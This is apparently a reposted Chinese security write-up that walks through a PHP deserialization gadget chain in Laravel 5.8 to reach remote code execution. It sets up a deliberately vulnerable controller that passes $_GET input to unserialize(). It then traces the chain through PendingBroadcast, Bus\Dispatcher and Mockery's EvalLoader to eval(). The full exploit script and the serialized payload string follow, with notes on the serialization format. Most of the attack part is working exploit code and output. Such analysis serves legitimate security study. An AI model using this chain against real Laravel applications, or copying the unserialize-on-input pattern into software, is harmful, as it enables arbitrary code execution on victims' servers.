composer create-project --prefer-dist laravel/laravel laravel58
安装 Laravel 5.8 并生成 laravel58
项目
进入项目文件夹,使用 php artisan serve
启动 web 服务
在 laravel58/routes/web.php
文件添加路由
Route::get("/","\App\Http\Controllers\DemoController@demo");
在 laravel58/app/Http/Controllers/
下添加 DemoController.php
控制器
<?phpnamespace App\Http\Controllers;class DemoController extends Controller{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}}
ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61
从 Illuminate\Broadcasting\PendingBroadcast
类的 __destruct
方法开始的 pop 链
Illuminate\Broadcasting\PendingBroadcast
中,$events
必须实现 Dispatcher
接口,这里选择的是 Illuminate\Bus\Dispatcher
public function __construct(Dispatcher $events, $event){ $this->event = $event; $this->events = $events;}public function __destruct(){ $this->events->dispatch($this->event);}
Illuminate\Bus\Dispatcher
中,调用 dispatch
方法,进入 if
判断,$this->queueResolver
是在实例化 Illuminate\Bus\Dispatcher
时的一个参数,它必须有值,$command
也就是 $this->event
必须实现 ShouldQueue
接口,这里选择的就是 Illuminate\Broadcasting\BroadcastEvent
// $command : $this->eventpublic function dispatch($command){ if ($this->queueResolver && $this->commandShouldBeQueued($command)) { return $this->dispatchToQueue($command); } return $this->dispatchNow($command);}public function __construct(Container $container, Closure $queueResolver = null){ $this->container = $container; $this->queueResolver = $queueResolver; $this->pipeline = new Pipeline($container);}protected function commandShouldBeQueued($command){ return $command instanceof ShouldQueue;}
到这里,构造出的 exp :
<?phpnamespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}}?>
然后进入 dispatchToQueue
方法,存在 call_user_func
方法,其中的 $this->queueResolver
是可控的,这里利用的是 Mockery\Loader\EvalLoader
的 load
方法,即 $this->queueResolver
为 array(new Mockery\Loader\EvalLoader(), "load")
public function dispatchToQueue($command){ $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.'); } if (method_exists($command, 'queue')) { return $command->queue($queue, $command); } return $this->pushCommandToQueue($queue, $command);}
这个点的意思就是
$this->events
调用 dispatch
传入参数 $this->event
后$this->events
的 queueResolver
属性$this->events->commandShouldBeQueued($this->event)
方法dispatchToQueue
传入 $this->event
参数。其中的 $connection
为 $this->event->connection
,即 Illuminate\Broadcasting\BroadcastEvent
中的 $connection
属性call_user_func
将 $connection
作为参数传给 $this->queueResolver
返回的函数到这里,构造出的 exp 如下,已经实现 call_user_func($this->queueResolver, $connection)
即 call_user_func($evilFunc, $evilCode)
,接下来就要寻找一个可以利用的函数,这里选择的是 Mockery\Loader\EvalLoader
,继续跟进
<?phpnamespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = $evilCode;
}
}}namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = $evilFunc;
}
}}
Mockery\Loader\EvalLoader
中有一个 eval
函数可以利用,这里的 $definition
是 MockDefinition
类的实例化对象,也就说明 $this->event->connection
是 MockDefinition
类的实例化对象。接下来就是绕过 if
判断。
class EvalLoader implements Loader{ public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); }}
跟进 Mockery\Generator\MockDefinition
,如果要绕过 if
判断,必须让 getClassName
返回一个不存在的类名,即 $this->config->getName()
返回一个不存在的类名。$config
为 Mockery\Generator\MockConfiguration
的实例化对象
class MockDefinition{ protected $config; protected $code; public function __construct(MockConfiguration $config, $code) { if (!$config->getName()) { throw new \InvalidArgumentException("MockConfiguration must contain a name"); } $this->config = $config; $this->code = $code; } public function getConfig() { return $this->config; } public function getClassName() { return $this->config->getName(); } public function getCode() { return $this->code; }}
Mockery\Generator\MockConfiguration
中,让 getName()
返回一个不存在的类名,最终执行 eval("?>" . $definition->getCode());
实现 RCE
class MockConfiguration{ protected $name; public function getName() { return $this->name; }}
最终的 exp ,(ph 牛的 exp ) :
<?phpnamespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}}namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}}namespace Mockery\Loader {
class EvalLoader {}}namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}}namespace {
$code = "<?php phpinfo(); exit; ?>";
$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($exp);}?>
输出结果 :
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
危险函数的寻找
eval,call_user_func
phpstorm + xdebug 调试代码
不同类型数据序列化,\00Test\00y
为 private,\00*\00
为 protected,其中 s
需要换成大写的 S
才能进行反序列化,否则会发生偏移错误,应该是编码的问题
<?phpclass Test{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";}$k = new Test();echo serialize($k);// O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}?>
反序列化测试代码 :
<?php// 环境 : php 7.1.13 ntsclass Test{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";}$n = new Test();var_dump(serialize($n));var_dump(unserialize(serialize($n))); // 成功$k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';var_dump(unserialize($k)); // 成功$m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';var_dump(unserialize($m)); // 失败$l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';var_dump(unserialize($l)); // 失败?>
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.